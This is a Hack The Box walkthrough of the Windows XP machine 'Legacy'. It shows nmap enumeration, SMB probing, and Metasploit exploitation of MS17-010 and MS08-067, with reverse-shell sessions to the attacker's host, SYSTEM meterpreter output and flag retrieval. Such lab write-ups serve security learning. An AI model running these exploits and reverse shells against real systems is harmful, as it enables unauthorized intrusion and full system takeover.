Legacy is a Windows XP machine on HackTheBox designed to be exploited using the well-known MS17-010 and MS08-067 vulnerabilities.
Educational Disclaimer: This walkthrough is for educational purposes only and was performed in an authorized Hack The Box lab environment. Do not attempt these techniques on systems without explicit permission.
1. Initial Enumeration and Service Discovery
As the Initial step, I ran an NMAP scan on the machine to get a better understanding of the machine and enumerate open ports and services.
I used nmap legacy.htb -sC -sV -O -oN nmap_scan command to scan the machine.
-sC - Run default scripts on the target machine.
-sV - Detect service versions that are running on the open ports.
-O - Detact the Operating System running on the target machine.
-oN nmap_scan - Save the results to a text file named nmap_scan.
nmap legacy.htb -sC -sV -O -oN nmap_scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-08 21:12 -0400 Nmap scan report for legacy.htb (10.129.227.181) Host is up (0.48s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows XP microsoft-ds No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=8/8%OT=135%CT=1%CU=31035%PV=Y%DS=2%DC=I%G=Y%TM=6A77D42 OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS= OS:0)SEQ(SP=101%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=S%TS=0)SEQ(SP=107%GCD=1%ISR OS:=10D%TI=I%CI=I%II=I%SS=S%TS=0)SEQ(SP=FC%GCD=1%ISR=110%TI=I%CI=I%II=I%SS= OS:S%TS=0)SEQ(SP=FE%GCD=1%ISR=10D%TI=I%CI=I%II=I%SS=S%TS=0)OPS(O1=M542NW0NN OS:T00NNS%O2=M542NW0NNT00NNS%O3=M542NW0NNT00%O4=M542NW0NNT00NNS%O5=M542NW0N OS:NT00NNS%O6=M542NNT00NNS)WIN(W1=FAF0%W2=FAF0%W3=FAF0%W4=FAF0%W5=FAF0%W6=F OS:AF0)ECN(R=Y%DF=Y%T=80%W=FAF0%O=M542NW0NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0% OS:Q=)T5(R=Y%DF=N%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=N%T=80%W=0%S= OS:A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=B0%UN=0%RIPL=G%RID=G%RI OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=S%T=80%CD=Z) Network Distance: 2 hops Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp Host script results: |_nbstat: NetBIOS name: LEGACY, NetBIOS user:
There are 3 ports open, and based on the scan result, the target machine is running Windows XP.
SMB and Windows RPC are running.
Furthermore, based on the script results, it seems that the NetBIOS service is accepting guest account access. Also, SMB2 protocol negotiation has failed, so it should be using SMB v1.
2. Manual SMB Enumeration
As the first step of trying to enumerate SMB, I tried enumerating using smbclient first. But all attempts failed.
# Enumerating using smbclient
┌──(kali㉿kali)-[~/Projects/htb/legacy]
└─$ smbclient -L //legacy.htb -N --option='client min protocol=NT1'
session setup failed: NT_STATUS_INVALID_PARAMETER
┌──(kali㉿kali)-[~/Projects/htb/legacy]
└─$ smbclient -L //legacy.htb -U guest --option='client min protocol=NT1'
Password for [WORKGROUP\guest]:
session setup failed: NT_STATUS_LOGON_FAILURE
┌──(kali㉿kali)-[~/Projects/htb/legacy]
└─$ smbclient -L //legacy.htb -U user --option='client min protocol=NT1'
Password for [WORKGROUP\user]:
session setup failed: NT_STATUS_LOGON_FAILURE
┌──(kali㉿kali)-[~/Projects/htb/legacy]
└─$ smbclient -L //legacy.htb -U "" --option='client min protocol=NT1'
Password for [WORKGROUP\]:
session setup failed: NT_STATUS_LOGON_FAILURE
┌──(kali㉿kali)-[~/Projects/htb/legacy]
└─$ smbclient -L //legacy.htb -U "guest" --option='client min protocol=NT1'
Password for [WORKGROUP\guest]:
session setup failed: NT_STATUS_LOGON_FAILUREAfter failing all smbclient attempts to discover any accessible SMB shares, I tried to discover using NMAP scripts. But still, I was unable to find any accessible shares.
nmap legacy.htb -p 139,445 --script smb-enum-shares -oN nmap_smb_shares
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-08 21:36 -0400 Nmap scan report for legacy.htb (10.129.227.181) Host is up (0.39s latency). PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds Host script results: | smb-enum-shares: | note: ERROR: Enumerating shares failed, guessing at common ones (NT_STATUS_ACCESS_DENIED) | account_used: <blank> | \\10.129.227.181\ADMIN$: | warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED | Anonymous access: < none> | \\10.129.227.181\C$: | warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED | Anonymous access: < none> | \\10.129.227.181\IPC$: | warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED |_ Anonymous access: READ Nmap done: 1 IP address (1 host up) scanned in 295.93 seconds
3. Automated SMB Vulnerability Scanning
Since I couldn't find any accessible SMB shares, I decided to run all the SMB vulnerability finding scripts that NMAP has against the target machine.
nmap legacy.htb -p 139,445 --script smb-vuln* -oN nmap_smb_vulns
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-08 21:45 -0400 Nmap scan report for legacy.htb (10.129.227.181) Host is up (0.38s latency). PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds Host script results: |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug) | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://technet.microsoft.com/en-us/library/security/ms08-067.aspx |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ Nmap done: 1 IP address (1 host up) scanned in 17.39 seconds
NMAP found two Remote Code Execution(RCE) vulnerabilities.
- CVE-2017-0143
- CVE-2008-4250
Let's try to exploit both to see if it's possible.
4. Exploiting CVE-2017-0143
A quick search using the CVE number in ExploitDB, I found that there is an exploit available in Metasploit.
msf > search 2017-0143
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption 1 \_ target: Automatic Target . . . . 2 \_ target: Windows 7 . . . . 3 \_ target: Windows Embedded Standard 7 . . . . 4 \_ target: Windows Server 2008 R2 . . . . 5 \_ target: Windows 8 . . . . 6 \_ target: Windows 8.1 . . . . 7 \_ target: Windows Server 2012 . . . . 8 \_ target: Windows 10 Pro . . . . 9 \_ target: Windows 10 Enterprise Evaluation . . . . 10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution 11 \_ target: Automatic . . . . 12 \_ target: PowerShell . . . . 13 \_ target: Native upload . . . . 14 \_ target: MOF upload . . . . 15 \_ AKA: ETERNALSYNERGY . . . . 16 \_ AKA: ETERNALROMANCE . . . . 17 \_ AKA: ETERNALCHAMPION . . . . 18 \_ AKA: ETERNALBLUE . . . . 19 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution 20 \_ AKA: ETERNALSYNERGY . . . . 21 \_ AKA: ETERNALROMANCE . . . . 22 \_ AKA: ETERNALCHAMPION . . . . 23 \_ AKA: ETERNALBLUE . . . . 24 auxiliary/scanner/smb/smb_ms17_010 . normal Yes MS17-010 SMB RCE Detection 25 \_ AKA: DOUBLEPULSAR . . . . 26 \_ AKA: ETERNALBLUE . . . . 27 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution 28 \_ target: Execute payload (x64) . . . . 29 \_ target: Neutralize implant . . . . Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'
I decided to use ms17_010_eternalblue, but soon I ran into an issue because this exploit only supports 64-bit operating systems and Windows XP on the target machine is using a 32-bit operating system.
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.16.36:4444 [*] 10.129.227.181:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 10.129.227.181:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit) [*] 10.129.227.181:445 - Scanned 1 of 1 hosts (100% complete) [+] 10.129.227.181:445 - The target is vulnerable. [-] 10.129.227.181:445 - Exploit aborted due to failure: no-target: This module only supports x64 (64-bit) targets [*] Exploit completed, but no session was created.
A quick internet search helped me to realise that I need to use exploit/windows/smb/ms17_010_psexec for 32-bit operating systems.
msf exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 10.10.16.36:4444 [*] 10.129.227.181:445 - Target OS: Windows 5.1 [*] 10.129.227.181:445 - Filling barrel with fish... done [*] 10.129.227.181:445 - < ---------------- | Entering Danger Zone | ----------------> [*] 10.129.227.181:445 - [*] Preparing dynamite... [*] 10.129.227.181:445 - [*] Trying stick 1 (x86)...Boom! [*] 10.129.227.181:445 - [+] Successfully Leaked Transaction! [*] 10.129.227.181:445 - [+] Successfully caught Fish-in-a-barrel [*] 10.129.227.181:445 - <---------------- | Leaving Danger Zone | ----------------> [*] 10.129.227.181:445 - Reading from CONNECTION struct at: 0x861219a8 [*] 10.129.227.181:445 - Built a write-what-where primitive... [+] 10.129.227.181:445 - Overwrite complete... SYSTEM session obtained! [*] 10.129.227.181:445 - Selecting native target [*] 10.129.227.181:445 - Uploading payload... mJuAlfNy.exe [*] 10.129.227.181:445 - Created \mJuAlfNy.exe... [+] 10.129.227.181:445 - Service started successfully... [*] Sending stage (199238 bytes) to 10.129.227.181 [*] 10.129.227.181:445 - Deleting \mJuAlfNy.exe... [*] Meterpreter session 1 opened (10.10.16.36:4444 -> 10.129.227.181:1042) at 2026-08-08 22:07:41 -0400 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Since I landed a NT AUTHORITY\SYSTEM system meterpreter shell directly, I do not need to escalate privileges. Windows XP user directories are located in C:\Documents and Settings.
meterpreter > cd Documents\ and\ Settings\\
meterpreter > ls Listing: C:\Documents and Settings ================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 040777/rwxrwxrwx 0 dir 2017-03-16 02:07:21 -0400 Administrator 040777/rwxrwxrwx 0 dir 2017-03-16 01:29:48 -0400 All Users 040777/rwxrwxrwx 0 dir 2017-03-16 01:33:37 -0400 Default User 040777/rwxrwxrwx 0 dir 2017-03-16 01:32:52 -0400 LocalService 040777/rwxrwxrwx 0 dir 2017-03-16 01:32:43 -0400 NetworkService 040777/rwxrwxrwx 0 dir 2017-03-16 01:33:42 -0400 john meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
5. Exploiting CVE-2008-4250
A quick search using the CVE number in ExploitDB, I found that there is an exploit available in Metasploit.
msf exploit(windows/smb/ms08_067_netapi) > run
[*] Started reverse TCP handler on 10.10.16.36:4444 [*] 10.129.227.181:445 - Automatically detecting the target... /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.29/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression [*] 10.129.227.181:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English [*] 10.129.227.181:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX) [*] 10.129.227.181:445 - Attempting to trigger the vulnerability... [*] Sending stage (199238 bytes) to 10.129.227.181 [*] Meterpreter session 1 opened (10.10.16.36:4444 -> 10.129.227.181:1043) at 2026-08-08 22:33:31 -0400 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
Similar to the previous exploit CVE-2017-0143, I landed a NT AUTHORITY\SYSTEM system meterpreter shell directly. I do not need to escalate privileges.
6. Flag Retrieval
Since NT AUTHORITY\SYSTEM is the highest privileged level on a Windows machine, I do not need to escalate privileges. I can retrieve both the user(user.txt) and administrator(root.txt) flags easily.
# Flag retreval
meterpreter > cat C:\\Documents\ and\ Settings\\john\\Desktop\\user.txt meterpreter > meterpreter > cat C:\\Documents\ and\ Settings\\Administrator\\Desktop\\root.txt
Congrats! We found both flags!
HTB Machine Completion
